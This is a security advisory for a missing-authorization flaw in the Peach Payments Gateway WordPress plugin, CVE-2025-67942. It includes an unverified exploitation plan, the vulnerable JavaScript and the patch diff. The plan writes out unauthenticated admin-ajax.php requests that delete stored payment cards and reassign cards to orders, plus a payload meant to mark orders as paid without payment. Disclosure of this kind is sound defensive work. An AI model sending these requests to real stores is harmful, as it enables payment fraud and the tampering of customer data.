CVE-2025-67942

Peach Payments Gateway <= 3.3.6 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
3.3.7
Patched in
4d
Time to patch

Description

The Peach Payments Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.3.6. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.3.6
PublishedJanuary 16, 2026
Last updatedJanuary 19, 2026

What Changed in the Fix

Changes introduced in v3.3.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-67942 ## 1. Vulnerability Summary The **Peach Payments Gateway** plugin for WordPress (versions <= 3.3.6) contains a **Missing Authorization** vulnerability. Several AJAX handlers registered via `wp_ajax_nopriv_` (for unauthenticated users) and `wp_ajax_` (fo…

Show full research plan

Exploitation Research Plan - CVE-2025-67942

1. Vulnerability Summary

The Peach Payments Gateway plugin for WordPress (versions <= 3.3.6) contains a Missing Authorization vulnerability. Several AJAX handlers registered via wp_ajax_nopriv_ (for unauthenticated users) and wp_ajax_ (for authenticated users) fail to perform capability checks (current_user_can) or verify ownership of the resources being modified. This allows unauthenticated attackers to perform unauthorized actions such as deleting payment cards or modifying order payment details.

2. Attack Vector Analysis

  • Endpoints: WordPress AJAX endpoint /wp-admin/admin-ajax.php.
  • Actions:
    1. peachCardUpdate: Intended to remove a stored payment card.
    2. peachCardUpdateOrder: Intended to update an order with a specific payment card.
    3. peachEmbedUpdateOrder: Intended to update order status after a successful embedded checkout.
  • Payload Parameters:
    • action: peachCardUpdate, peachCardUpdateOrder, or peachEmbedUpdateOrder.
    • card: (For peachCardUpdate) The ID of the payment token to delete.
    • cardID: (For peachCardUpdateOrder) The ID of the card to associate with the order.
    • orderID: (For peachCardUpdateOrder) The WooCommerce order ID to modify.
    • mystatus, transaction, mycode: (For peachEmbedUpdateOrder) Status and transaction identifiers.
  • Authentication: Unauthenticated (via wp_ajax_nopriv_ hooks).
  • Preconditions: The plugin must be active. For peachCardUpdate, a payment card (token) ID must be known or enumerated.

3. Code Flow

The vulnerability originates from the lack of security checks in the AJAX callback functions.

  1. Registration: The plugin registers AJAX actions in its initialization (likely in WC_Peach_Payments::__construct or an init hook, often within classes/pluginSupport.php or classes/embeddedCheckout.php).
    // Inferred registration pattern
    add_action( 'wp_ajax_peachCardUpdate', 'peach_card_update_callback' );
    add_action( 'wp_ajax_nopriv_peachCardUpdate', 'peach_card_update_callback' );
    
  2. Trigger: An HTTP POST request is sent to admin-ajax.php with action=peachCardUpdate.
  3. Execution: The handler function (e.g., peach_card_update_callback) is executed.
  4. Sink: The handler likely calls WC_Payment_Token::delete() or updates wp_postmeta (for orders) without:
    • Verifying the user is logged in.
    • Verifying the user has the manage_woocommerce capability.
    • Verifying that the cardID or orderID belongs to the requesting user.
    • Checking a WordPress nonce.

4. Nonce Acquisition Strategy

Based on assets/js/front-peach.js, the plugin does not use nonces for these specific AJAX actions.

  • The jQuery.ajax calls for peachCardUpdateOrder (line 33), peachCardUpdate (line 59), and peachEmbedUpdateOrder (line 102) only pass the action and data parameters.
  • If the researcher needs to verify if a nonce is localized but unused, they can check the peach_ajax_object (localized variable name found on JS line 34):
    1. Navigate to the checkout page: browser_navigate("/checkout/")
    2. Evaluate the object: browser_eval("window.peach_ajax_object")

Observation: Since the JS itself does not include nonces in the requests, the server-side handlers likely do not check them, or if they do, they are bypassable.

5. Exploitation Strategy

Task A: Unauthorized Card Deletion (peachCardUpdate)

  1. Target: Delete a payment token belonging to a user.
  2. Payload:
    • action: peachCardUpdate
    • card: [TARGET_CARD_ID]
  3. Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=peachCardUpdate&card=1
    

Task B: Unauthorized Order Modification (peachCardUpdateOrder)

  1. Target: Change the payment card associated with an arbitrary order.
  2. Payload:
    • action: peachCardUpdateOrder
    • cardID: [NEW_CARD_ID]
    • orderID: [TARGET_ORDER_ID]
  3. Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=peachCardUpdateOrder&cardID=2&orderID=101
    

6. Test Data Setup

  1. Plugins: Install WooCommerce and Peach Payments Gateway (3.3.6).
  2. WooCommerce Configuration: Enable the Peach Payments gateway in WooCommerce > Settings > Payments.
  3. User/Data Creation:
    • Create a Customer user.
    • Use WP-CLI to create a payment token for that user:
      wp eval 'WC_Payment_Tokens::add(new WC_Payment_Token_CC(["card_type"=>"visa", "last4"=>"1234", "expiry_month"=>"12", "expiry_year"=>"2026", "user_id"=>1]));'
    • Create an order:
      wp post create --post_type=shop_order --post_status=wc-pending --post_title="Test Order"
    • Note the Token ID and Order ID.

7. Expected Results

  • For peachCardUpdate: The response should be success (as per JS line 64). The payment token record in the database should be deleted or marked as deleted.
  • For peachCardUpdateOrder: The response should be 1 (as per JS line 40). The order's metadata (e.g., _payment_method_token) should be updated to the new ID.

8. Verification Steps

  1. Check Tokens:
    wp eval 'print_r(WC_Payment_Tokens::get_customer_tokens(1));'
    Confirm the token previously created is now missing.
  2. Check Order Meta:
    wp post meta get [ORDER_ID] _payment_method_token
    Confirm the meta value matches the cardID sent in the exploit request.

9. Alternative Approaches

If peachCardUpdate requires authentication (despite the nopriv claim), focus on peachEmbedUpdateOrder:

  • Payload: action=peachEmbedUpdateOrder&mystatus=SUC&transaction=TEST_TX&mycode=000.000.000
  • Objective: Attempt to force an order status change for the current session's order by mimicking a successful callback from the Peach widget. This bypasses the actual payment requirement.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Peach Payments Gateway plugin for WordPress fails to implement capability checks or nonce verification on several AJAX handlers, including peachCardUpdate, peachCardUpdateOrder, and peachEmbedUpdateOrder. This allows unauthenticated attackers to perform unauthorized actions such as deleting stored payment tokens, modifying the payment card associated with a WooCommerce order, or altering order statuses.

Vulnerable Code

// assets/js/front-peach.js line 33

		jQuery.ajax({
			url:peach_ajax_object.ajax_url,
			data:{ 
			  action: 'peachCardUpdateOrder',
			  cardID: card_id,
			  orderID: order_id
			},

---

// assets/js/front-peach.js line 59

		jQuery.ajax({
			url:peach_ajax_object.ajax_url,
			data:{ 
			  action: 'peachCardUpdate',
			  card: cardID
			},

---

// assets/js/front-peach.js line 102

function process_embed(status, transactionid, code){
	jQuery.ajax({
		url:peach_ajax_object.ajax_url,
		data:{ 
		  action: 'peachEmbedUpdateOrder',
		  mystatus: status,
		  transaction: transactionid,
		  mycode: code
		},

Security Fix

Only in /home/deploy/wp-safety.org/data/plugin-versions/wc-peach-payments-gateway/3.3.7/assets/images: MAUCAS.png
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wc-peach-payments-gateway/3.3.6/assets/js/front-peach.js /home/deploy/wp-safety.org/data/plugin-versions/wc-peach-payments-gateway/3.3.7/assets/js/front-peach.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wc-peach-payments-gateway/3.3.6/assets/js/front-peach.js	2025-05-22 05:51:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-peach-payments-gateway/3.3.7/assets/js/front-peach.js	2025-11-19 10:35:26.000000000 +0000
@@ -30,7 +30,8 @@
 			data:{ 
 			  action: 'peachCardUpdateOrder',
 			  cardID: card_id,
-			  orderID: order_id
+			  orderID: order_id,
+			  ajax_nonce: peach_ajax_object.ajax_nonce
 			},
 			success:function(data){
 				if(data === '1'){
@@ -111,7 +112,8 @@
 		  action: 'peachEmbedUpdateOrder',
 		  mystatus: status,
 		  transaction: transactionid,
-		  mycode: code
+		  mycode: code,
+		  ajax_nonce: peach_ajax_object.ajax_nonce
 		},
 		success:function(data){
 			return data;

Exploit Outline

The exploit targets the WordPress AJAX endpoint /wp-admin/admin-ajax.php using the vulnerable actions registered by the plugin. An unauthenticated attacker can send a POST request with the 'action' parameter set to 'peachCardUpdate' to delete a payment card by providing the 'card' ID. Alternatively, an attacker can use the 'peachCardUpdateOrder' action with 'cardID' and 'orderID' parameters to reassign payment tokens to arbitrary WooCommerce orders. Because the plugin uses wp_ajax_nopriv_ hooks for these functions without checking for user capabilities or requiring a valid WordPress nonce, no authentication or specific user session is required to perform these operations.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.